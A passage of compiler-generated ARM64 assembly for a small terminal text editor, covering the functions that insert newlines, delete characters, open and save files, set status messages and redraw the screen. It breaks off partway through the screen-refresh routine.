_editorInsertNewline: ; @editorInsertNewline
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x10, _E@PAGE
adrp x9, _E@PAGE
add x9, x9, _E@PAGEOFF
str x9, [sp, #8] ; 8-byte Folded Spill
ldr w8, [x9, #8]
ldr w11, [x9, #4]
add w8, w8, w11
stur w8, [x29, #-4]
ldr w8, [x9, #12]
ldr w10, [x10, _E@PAGEOFF]
add w8, w8, w10
stur w8, [x29, #-8]
ldur w8, [x29, #-4]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB20_2
b LBB20_1
LBB20_1:
mov x8, #0
str x8, [sp] ; 8-byte Folded Spill
b LBB20_3
LBB20_2:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldursw x9, [x29, #-4]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp] ; 8-byte Folded Spill
b LBB20_3
LBB20_3:
ldr x8, [sp] ; 8-byte Folded Reload
str x8, [sp, #16]
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB20_7
b LBB20_4
LBB20_4:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB20_6
b LBB20_5
LBB20_5:
ldur w0, [x29, #-4]
adrp x1, l_.str.29@PAGE
add x1, x1, l_.str.29@PAGEOFF
mov x2, #0
bl _editorInsertRow
b LBB20_13
LBB20_6:
b LBB20_17
LBB20_7:
ldur w8, [x29, #-8]
ldr x9, [sp, #16]
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB20_9
b LBB20_8
LBB20_8:
ldr x8, [sp, #16]
ldr w8, [x8, #4]
stur w8, [x29, #-8]
b LBB20_9
LBB20_9:
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB20_11
b LBB20_10
LBB20_10:
ldur w0, [x29, #-4]
adrp x1, l_.str.29@PAGE
add x1, x1, l_.str.29@PAGEOFF
mov x2, #0
bl _editorInsertRow
b LBB20_12
LBB20_11:
ldur w8, [x29, #-4]
add w0, w8, #1
ldr x8, [sp, #16]
ldr x8, [x8, #16]
ldursw x9, [x29, #-8]
add x1, x8, x9
ldr x8, [sp, #16]
ldr w8, [x8, #4]
ldur w9, [x29, #-8]
subs w9, w8, w9
; implicit-def: $x8
mov x8, x9
sxtw x2, w8
bl _editorInsertRow
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldursw x9, [x29, #-4]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp, #16]
ldr x8, [sp, #16]
ldr x8, [x8, #16]
ldursw x9, [x29, #-8]
add x8, x8, x9
strb wzr, [x8]
ldur w8, [x29, #-8]
ldr x9, [sp, #16]
str w8, [x9, #4]
ldr x0, [sp, #16]
bl _editorUpdateRow
b LBB20_12
LBB20_12:
b LBB20_13
LBB20_13:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x9, #4]
ldr w9, [x9, #16]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB20_15
b LBB20_14
LBB20_14:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x9, #8]
add w8, w8, #1
str w8, [x9, #8]
b LBB20_16
LBB20_15:
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x9, #4]
add w8, w8, #1
str w8, [x9, #4]
b LBB20_16
LBB20_16:
ldr x8, [sp, #8] ; 8-byte Folded Reload
adrp x9, _E@PAGE
str wzr, [x9, _E@PAGEOFF]
str wzr, [x8, #12]
b LBB20_17
LBB20_17:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _editorDelChar ; -- Begin function editorDelChar
.p2align 2
_editorDelChar: ; @editorDelChar
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x10, _E@PAGE
adrp x9, _E@PAGE
add x9, x9, _E@PAGEOFF
str x9, [sp, #16] ; 8-byte Folded Spill
ldr w8, [x9, #8]
ldr w11, [x9, #4]
add w8, w8, w11
stur w8, [x29, #-4]
ldr w8, [x9, #12]
ldr w10, [x10, _E@PAGEOFF]
add w8, w8, w10
stur w8, [x29, #-8]
ldur w8, [x29, #-4]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB21_2
b LBB21_1
LBB21_1:
mov x8, #0
str x8, [sp, #8] ; 8-byte Folded Spill
b LBB21_3
LBB21_2:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x8, #32]
ldursw x9, [x29, #-4]
mov x10, #48
mul x9, x9, x10
add x8, x8, x9
str x8, [sp, #8] ; 8-byte Folded Spill
b LBB21_3
LBB21_3:
ldr x8, [sp, #8] ; 8-byte Folded Reload
stur x8, [x29, #-16]
ldur x8, [x29, #-16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB21_6
b LBB21_4
LBB21_4:
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB21_7
b LBB21_5
LBB21_5:
ldur w8, [x29, #-4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB21_7
b LBB21_6
LBB21_6:
b LBB21_22
LBB21_7:
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB21_14
b LBB21_8
LBB21_8:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x11, [x8, #32]
ldur w9, [x29, #-4]
subs w9, w9, #1
mov w10, #48
smaddl x9, w9, w10, x11
ldr w9, [x9, #4]
stur w9, [x29, #-8]
ldr x10, [x8, #32]
ldur w8, [x29, #-4]
subs w8, w8, #1
mov w9, #48
smaddl x0, w8, w9, x10
ldur x8, [x29, #-16]
ldr x1, [x8, #16]
ldur x8, [x29, #-16]
ldrsw x2, [x8, #4]
bl _editorRowAppendString
ldur w0, [x29, #-4]
bl _editorDelRow
ldr x8, [sp, #16] ; 8-byte Folded Reload
; kill: def $x9 killed $xzr
stur xzr, [x29, #-16]
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB21_10
b LBB21_9
LBB21_9:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, #8]
subs w8, w8, #1
str w8, [x9, #8]
b LBB21_11
LBB21_10:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, #4]
subs w8, w8, #1
str w8, [x9, #4]
b LBB21_11
LBB21_11:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldur w10, [x29, #-8]
adrp x8, _E@PAGE
str w10, [x8, _E@PAGEOFF]
ldr w8, [x8, _E@PAGEOFF]
ldr w9, [x9, #20]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB21_13
b LBB21_12
LBB21_12:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, #20]
adrp x10, _E@PAGE
ldr w11, [x10, _E@PAGEOFF]
subs w8, w8, w11
add w8, w8, #1
stur w8, [x29, #-20]
ldur w11, [x29, #-20]
ldr w8, [x10, _E@PAGEOFF]
subs w8, w8, w11
str w8, [x10, _E@PAGEOFF]
ldur w10, [x29, #-20]
ldr w8, [x9, #12]
add w8, w8, w10
str w8, [x9, #12]
b LBB21_13
LBB21_13:
b LBB21_19
LBB21_14:
ldur x0, [x29, #-16]
ldur w8, [x29, #-8]
subs w1, w8, #1
bl _editorRowDelChar
adrp x8, _E@PAGE
ldr w8, [x8, _E@PAGEOFF]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB21_17
b LBB21_15
LBB21_15:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x8, #12]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB21_17
b LBB21_16
LBB21_16:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, #12]
subs w8, w8, #1
str w8, [x9, #12]
b LBB21_18
LBB21_17:
adrp x9, _E@PAGE
ldr w8, [x9, _E@PAGEOFF]
subs w8, w8, #1
str w8, [x9, _E@PAGEOFF]
b LBB21_18
LBB21_18:
b LBB21_19
LBB21_19:
ldur x8, [x29, #-16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB21_21
b LBB21_20
LBB21_20:
ldur x0, [x29, #-16]
bl _editorUpdateRow
b LBB21_21
LBB21_21:
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [x9, #40]
add w8, w8, #1
str w8, [x9, #40]
b LBB21_22
LBB21_22:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _editorOpen ; -- Begin function editorOpen
.p2align 2
_editorOpen: ; @editorOpen
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
stur x0, [x29, #-16]
str wzr, [x8, #40]
ldr x0, [x8, #48]
bl _free
ldur x0, [x29, #-16]
bl _strdup
ldr x8, [sp, #8] ; 8-byte Folded Reload
str x0, [x8, #48]
ldur x0, [x29, #-16]
adrp x1, l_.str.30@PAGE
add x1, x1, l_.str.30@PAGEOFF
bl _fopen
stur x0, [x29, #-24]
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB22_4
b LBB22_1
LBB22_1:
bl ___error
ldr w8, [x0]
subs w8, w8, #2
cset w8, eq
tbnz w8, #0, LBB22_3
b LBB22_2
LBB22_2:
adrp x0, l_.str.31@PAGE
add x0, x0, l_.str.31@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB22_3:
mov w8, #1
stur w8, [x29, #-4]
b LBB22_12
LBB22_4:
; kill: def $x8 killed $xzr
str xzr, [sp, #32]
str xzr, [sp, #24]
b LBB22_5
LBB22_5: ; =>This Inner Loop Header: Depth=1
ldur x2, [x29, #-24]
add x0, sp, #32
add x1, sp, #24
bl _getline
str x0, [sp, #16]
adds x8, x0, #1
cset w8, eq
tbnz w8, #0, LBB22_11
b LBB22_6
LBB22_6: ; in Loop: Header=BB22_5 Depth=1
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB22_10
b LBB22_7
LBB22_7: ; in Loop: Header=BB22_5 Depth=1
ldr x8, [sp, #32]
ldr x9, [sp, #16]
subs x9, x9, #1
ldrsb w8, [x8, x9]
subs w8, w8, #10
cset w8, eq
tbnz w8, #0, LBB22_9
b LBB22_8
LBB22_8: ; in Loop: Header=BB22_5 Depth=1
ldr x8, [sp, #32]
ldr x9, [sp, #16]
subs x9, x9, #1
ldrsb w8, [x8, x9]
subs w8, w8, #13
cset w8, ne
tbnz w8, #0, LBB22_10
b LBB22_9
LBB22_9: ; in Loop: Header=BB22_5 Depth=1
ldr x8, [sp, #32]
ldr x9, [sp, #16]
subs x9, x9, #1
str x9, [sp, #16]
add x8, x8, x9
strb wzr, [x8]
b LBB22_10
LBB22_10: ; in Loop: Header=BB22_5 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr w0, [x8, #24]
ldr x1, [sp, #32]
ldr x2, [sp, #16]
bl _editorInsertRow
b LBB22_5
LBB22_11:
ldr x0, [sp, #32]
bl _free
ldur x0, [x29, #-24]
bl _fclose
ldr x8, [sp, #8] ; 8-byte Folded Reload
str wzr, [x8, #40]
stur wzr, [x29, #-4]
b LBB22_12
LBB22_12:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.globl _editorSave ; -- Begin function editorSave
.p2align 2
_editorSave: ; @editorSave
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #16] ; 8-byte Folded Spill
sub x0, x29, #8
bl _editorRowsToString
ldr x8, [sp, #16] ; 8-byte Folded Reload
stur x0, [x29, #-16]
ldr x0, [x8, #48]
mov x9, sp
mov x8, #420
str x8, [x9]
mov w1, #514
bl _open
stur w0, [x29, #-20]
ldur w8, [x29, #-20]
adds w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB23_2
b LBB23_1
LBB23_1:
b LBB23_7
LBB23_2:
ldur w0, [x29, #-20]
ldursw x1, [x29, #-8]
bl _ftruncate
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB23_4
b LBB23_3
LBB23_3:
b LBB23_7
LBB23_4:
ldur w0, [x29, #-20]
ldur x1, [x29, #-16]
ldursw x2, [x29, #-8]
bl _write
ldursw x8, [x29, #-8]
subs x8, x0, x8
cset w8, eq
tbnz w8, #0, LBB23_6
b LBB23_5
LBB23_5:
b LBB23_7
LBB23_6:
ldur w0, [x29, #-20]
bl _close
ldur x0, [x29, #-16]
bl _free
ldr x8, [sp, #16] ; 8-byte Folded Reload
str wzr, [x8, #40]
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.32@PAGE
add x0, x0, l_.str.32@PAGEOFF
bl _editorSetStatusMessage
stur wzr, [x29, #-4]
b LBB23_10
LBB23_7:
ldur x0, [x29, #-16]
bl _free
ldur w8, [x29, #-20]
adds w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB23_9
b LBB23_8
LBB23_8:
ldur w0, [x29, #-20]
bl _close
b LBB23_9
LBB23_9:
bl ___error
ldr w0, [x0]
bl _strerror
mov x8, sp
str x0, [x8]
adrp x0, l_.str.33@PAGE
add x0, x0, l_.str.33@PAGEOFF
bl _editorSetStatusMessage
mov w8, #1
stur w8, [x29, #-4]
b LBB23_10
LBB23_10:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _editorSetStatusMessage ; -- Begin function editorSetStatusMessage
.p2align 2
_editorSetStatusMessage: ; @editorSetStatusMessage
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #8] ; 8-byte Folded Spill
stur x0, [x29, #-8]
add x10, sp, #16
add x9, x29, #16
str x9, [x10]
ldur x4, [x29, #-8]
ldr x5, [sp, #16]
add x0, x8, #56
mov x3, #80
mov x1, x3
mov w2, #0
bl ___vsnprintf_chk
mov x0, #0
bl _time
ldr x8, [sp, #8] ; 8-byte Folded Reload
str x0, [x8, #136]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _abAppend ; -- Begin function abAppend
.p2align 2
_abAppend: ; @abAppend
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str w2, [sp, #12]
ldur x8, [x29, #-8]
ldr x0, [x8]
ldur x8, [x29, #-8]
ldr w8, [x8, #8]
ldr w9, [sp, #12]
add w9, w8, w9
; implicit-def: $x8
mov x8, x9
sxtw x1, w8
bl _realloc
str x0, [sp]
ldr x8, [sp]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB25_2
b LBB25_1
LBB25_1:
b LBB25_3
LBB25_2:
ldr x8, [sp]
ldur x9, [x29, #-8]
ldrsw x9, [x9, #8]
add x0, x8, x9
ldr x1, [sp, #16]
ldrsw x2, [sp, #12]
mov x3, #-1
bl ___memcpy_chk
ldr x8, [sp]
ldur x9, [x29, #-8]
str x8, [x9]
ldr w10, [sp, #12]
ldur x9, [x29, #-8]
ldr w8, [x9, #8]
add w8, w8, w10
str w8, [x9, #8]
b LBB25_3
LBB25_3:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _abFree ; -- Begin function abFree
.p2align 2
_abFree: ; @abFree
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x8, [sp, #8]
ldr x0, [x8]
bl _free
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _editorRefreshScreen ; -- Begin function editorRefreshScreen
.p2align 2
_editorRefreshScreen: ; @editorRefreshScreen
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #560
adrp x8, _E@PAGE
add x8, x8, _E@PAGEOFF
str x8, [sp, #120] ; 8-byte Folded Spill
add x8, x8, #56
str x8, [sp, #128] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
add x0, sp, #232
str x0, [sp, #136] ; 8-byte Folded Spill
str xzr, [sp, #232]
str xzr, [sp, #240]
adrp x1, l_.str.34@PAGE
add x1, x1, l_.str.34@PAGEOFF
mov w2, #6
bl _abAppend
ldr x0, [sp, #136] ; 8-byte Folded Reload
adrp x1, l_.str.35@PAGE
add x1, x1, l_.str.35@PAGEOFF
mov w2, #3
bl _abAppend
str wzr, [sp, #260]
b LBB27_1
LBB27_1: ; =>This Loop Header: Depth=1
; Child Loop BB27_17 Depth 2
; Child Loop BB27_8 Depth 2
ldr x9, [sp, #120] ; 8-byte Folded Reload
ldr w8, [sp, #260]
ldr w9, [x9, #16]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB27_36
b LBB27_2
LBB27_2: ; in Loop: Header=BB27_1 Depth=1
ldr x9, [sp, #120] ; 8-byte Folded Reload
ldr w8, [x9, #8]
ldr w10, [sp, #260]
add w8, w8, w10
str w8, [sp, #228]
ldr w8, [sp, #228]
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB27_13
b LBB27_3
LBB27_3: ; in Loop: Header=BB27_1 Depth=1
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr w8, [x8, #24]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB27_11
b LBB27_4
LBB27_4: ; in Loop: Header=BB27_1 Depth=1
ldr x9, [sp, #120] ; 8-byte Folded Reload
ldr w8, [sp, #260]
ldr w9, [x9, #16]
mov w10, #3
sdiv w9, w9, w10
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB27_11
b LBB27_5
LBB27_5: ; in Loop: Header=BB27_1 Depth=1
mov x9, sp
adrp x8, l_.str.37@PAGE
add x8, x8, l_.str.37@PAGEOFF
str x8, [x9]
sub x0, x29, #136
mov x3, #80
mov x1, x3
mov w2, #0
adrp x4, l_.str.36@PAGE
add x4, x4, l_.str.36@PAGEOFF
bl ___snprintf_chk
ldr x8, [sp, #120] ; 8-byte Folded Reload
str w0, [sp, #224]
ldr w8, [x8, #20]
ldr w9, [sp, #224]
subs w8, w8, w9
mov w9, #2
sdiv w8, w8, w9
str w8, [sp, #220]
ldr w8, [sp, #220]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB27_7
b LBB27_6
LBB27_6: ; in Loop: Header=BB27_1 Depth=1
add x0, sp, #232
adrp x1, l_.str.38@PAGE
add x1, x1, l_.str.38@PAGEOFF
mov w2, #1
bl _abAppend
ldr w8, [sp, #220]
subs w8, w8, #1
str w8, [sp, #220]
b LBB27_7
LBB27_7: ; in Loop: Header=BB27_1 Depth=1
b LBB27_8
LBB27_8: ; Parent Loop BB27_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #220]
subs w9, w8, #1
str w9, [sp, #220]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB27_10
b LBB27_9
LBB27_9: ; in Loop: Header=BB27_8 Depth=2
add x0, sp, #232
adrp x1, l_.str.39@PAGE
add x1, x1, l_.str.39@PAGEOFF
mov w2, #1
bl _abAppend
b LBB27_8
LBB27_10: ; in Loop: Header=BB27_1 Depth=1
ldr w2, [sp, #224]
add x0, sp, #232
sub x1, x29, #136
bl _abAppend
b LBB27_12
LBB27_11: ; in Loop: Header=BB27_1 Depth=1
add x0, sp, #232
adrp x1, l_.str.40@PAGE
add x1, x1, l_.str.40@PAGEOFF
mov w2, #7
bl _abAppend
b LBB27_12
LBB27_12: ; in Loop: Header=BB27_1 Depth=1
b LBB27_35
LBB27_13: ; in Loop: Header=BB27_1 Depth=1
ldr x9, [sp, #120] ; 8-byte Folded Reload
ldr x8, [x9, #32]
ldrsw x10, [sp, #228]
mov x11, #48
mul x10, x10, x11
add x8, x8, x10
str x8, [sp, #248]
ldr x8, [sp, #248]
ldr w8, [x8, #8]
ldr w9, [x9, #12]
subs w8, w8, w9
str w8, [sp, #216]
mov w8, #-1
str w8, [sp, #212]
ldr w8, [sp, #216]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB27_34
b LBB27_14
LBB27_14: ; in Loop: Header=BB27_1 Depth=1
ldr x9, [sp, #120] ; 8-byte Folded Reload
ldr w8, [sp, #216]
ldr w9, [x9, #20]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB27_16
b LBB27_15
LBB27_15: ; in Loop: Header=BB27_1 Depth=1
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr w8, [x8, #20]
str w8, [sp, #216]
b LBB27_16
LBB27_16: ; in Loop: Header=BB27_1 Depth=1
ldr x9, [sp, #120] ; 8-byte Folded Reload
ldr x8, [sp, #248]
ldr x8, [x8, #24]
ldrsw x10, [x9, #12]
add x8, x8, x10
str x8, [sp, #200]
ldr x8, [sp, #248]
ldr x8, [x8, #32]
ldrsw x9, [x9, #12]
add x8, x8, x9
str x8, [sp, #192]
str wzr, [sp, #188]
b LBB27_17
LBB27_17: ; Parent Loop BB27_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #188]
ldr w9, [sp, #216]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB27_33
b LBB27_18
LBB27_18: ; in Loop: Header=BB27_17 Depth=2
ldr x8, [sp, #192]
ldrsw x9, [sp, #188]
ldrb w8, [x8, x9]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB27_23
b LBB27_19
LBB27_19: ; in Loop: Header=BB27_17 Depth=2
add x0, sp, #232
adrp x1, l_.str.41@PAGE
add x1, x1, l_.str.41@PAGEOFF
mov w2, #4
bl _abAppend
ldr x8, [sp, #200]
ldrsw x9, [sp, #188]
ldrsb w8, [x8, x9]
subs w8, w8, #26
cset w8, gt
tbnz w8, #0, LBB27_21
b LBB27_20
LBB27_20: ; in Loop: Header=BB27_17 Depth=2
ldr x8, [sp, #200]
ldrsw x9, [sp, #188]
ldrsb w8, [x8, x9]
add w8, w8, #64
strb w8, [sp, #187]
b LBB27_22
LBB27_21: ; in Loop: Header=BB27_17 Depth=2
mov w8, #63
strb w8, [sp, #187]
b LBB27_22
LBB27_22: ; in Loop: Header=BB27_17 Depth=2
add x0, sp, #232
str x0, [sp, #112] ; 8-byte Folded Spill
add x1, sp, #187
mov w2, #1
bl _abAppend
ldr x0, [sp, #112] ; 8-byte Folded Reload
adrp x1, l_.str.42@PAGE
add x1, x1, l_.str.42@PAGEOFF
mov w2, #4
bl _abAppend
b LBB27_31
LBB27_23: ; in Loop: Header=BB27_17 Depth=2
ldr x8, [sp, #192]
ldrsw x9, [sp, #188]
ldrb w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB27_27
b LBB27_24
LBB27_24: ; in Loop: Header=BB27_17 Depth=2
ldr w8, [sp, #212]
adds w8, w8, #1
cset w8, eq
tbnz w8, #0, LBB27_26
b LBB27_25
LBB27_25: ; in Loop: Header=BB27_17 Depth=2
add x0, sp, #232
adrp x1, l_.str.43@PAGE
add x1, x1, l_.str.43@PAGEOFF
mov w2, #5
bl _abAppend
mov w8, #-1
str w8, [sp, #212]
b LBB27_26
LBB27_26: ; in Loop: Header=BB27_17 Depth=2
ldr x8, [sp, #200]
ldrsw x9, [sp, #188]
add x1, x8, x9
add x0, sp, #232
mov w2, #1
bl _abAppend
b LBB27_30
LBB27_27: ; in Loop: Header=BB27_17 Depth=2
ldr x8, [sp, #192]
ldrsw x9, [sp, #188]
ldrb w0, [x8, x9]
bl _editorSyntaxToColor
str w0, [sp, #180]
ldr w8, [sp, #180]
ldr w9, [sp, #212]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB27_29
b LBB27_28
LBB27_28: ; in Loop: Header=BB27_17 Depth=2
ldr w9, [sp, #180]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
sub x0, x29, #152
str x0, [sp, #104] ; 8-byte Folded Spill
mov x3, #16
mov x1, x3
mov w2, #0
adrp x4, l_.str.44@PAGE
add x4, x4, l_.str.44@PAGEOFF
bl ___snprintf_chk
ldr x1, [sp, #104] ; 8-byte Folded Reload
str w0, [sp, #176]
ldr w8, [sp, #180]
str w8, [sp, #212]
ldr w2, [sp, #176]
add x0, sp, #232
bl _abAppend
b LBB27_29
LBB27_29: ; in Loop: Header=BB27_17 Depth=2
ldr x8, [sp, #200]
ldrsw x9, [sp, #188]
add x1, x8, x9
add x0, sp, #232
mov w2, #1
bl _abAppend
b LBB27_30
LBB27_30: ; in Loop: Header=BB27_17 Depth=2
b LBB27_31
LBB27_31: ; in Loop: Header=BB27_17 Depth=2
b LBB27_32
LBB27_32: ; in Loop: Header=BB27_17 Depth=2
ldr w8, [sp, #188]
add w8, w8, #1
str w8, [sp, #188]
b LBB27_17
LBB27_33: ; in Loop: Header=BB27_1 Depth=1
b LBB27_34
LBB27_34: ; in Loop: Header=BB27_1 Depth=1
add x0, sp, #232
str x0, [sp, #96] ; 8-byte Folded Spill
adrp x1, l_.str.43@PAGE
add x1, x1, l_.str.43@PAGEOFF
mov w2, #5
bl _abAppend
ldr x0, [sp, #96] ; 8-byte Folded Reload
adrp x1, l_.str.45@PAGE
add x1, x1, l_.str.45@PAGEOFF
mov w2, #4
bl _abAppend
ldr x0, [sp, #96] ; 8-byte Folded Reload
adrp x1, l_.str.46@PAGE
add x1, x1, l_.str.46@PAGEOFF
mov w2, #2
bl _abAppend
b LBB27_35
LBB27_35: ; in Loop: Header=BB27_1 Depth=1
ldr w8, [sp, #260]
add w8, w8, #1
str w8, [sp, #260]
b LBB27_1
LBB27_36:
add x0, sp, #232
str x0, [sp, #72] ; 8-byte Folded Spill
adrp x1, l_.str.45@PAGE
add x1, x1, l_.str.45@PAGEOFF
mov w2, #4
str w2, [sp, #80] ; 4-byte Folded Spill
bl _abAppend
ldr x0, [sp, #72] ; 8-byte Folded Reload
ldr w2, [sp, #80] ; 4-byte Folded Reload
adrp x1, l_.str.41@PAGE
add x1, x1, l_.str.41@PAGEOFF
bl _abAppend
ldr x8, [sp, #120] ; 8-byte Folded Reload
ldr x11, [x8, #48]
ldr w9, [x8, #24]
; implicit-def: $x10
mov x10, x9
ldr w8, [x8, #40]
mov w2, #0
str w2, [sp, #84] ; 4-byte Folded Spill
subs w8, w8, #0
cset w8, ne
and w12, w8, #0x1
adrp x9, l_.str.29@PAGE
add x9, x9, l_.str.29@PAGEOFF
adrp x8, l_.str.48@PAGE
add x8, x8, l_.str.48@PAGEOFF
ands w12, w12, #0x1
csel x8, x8, x9, ne
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
sub x0, x29, #232
mov x3, #80
str x3, [sp, #88] ; 8-byte Folded Spill
mov x1, x3
adrp x4, l_.str.47@PAGE
add x4, x4, l_.str.47@PAGEOFF
bl ___snprintf_chk
ldr w2, [sp, #84] ; 4-byte Folded Reload
ldr x3, [sp, #88] ; 8-byte Folded Reload
ldr x8, [sp, #120] ; 8-byte Folded Reload
str w0, [sp, #172]
ldr w9, [x8, #8]
ldr w10, [x8, #4]
add w9, w9, w10
add w11, w9, #1
ldr w9, [x8, #24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
; implicit-def: $x10
mov x10, x11
str x10, [x9]
str x8, [x9, #8]
add x0, sp, #264
mov x1, x3
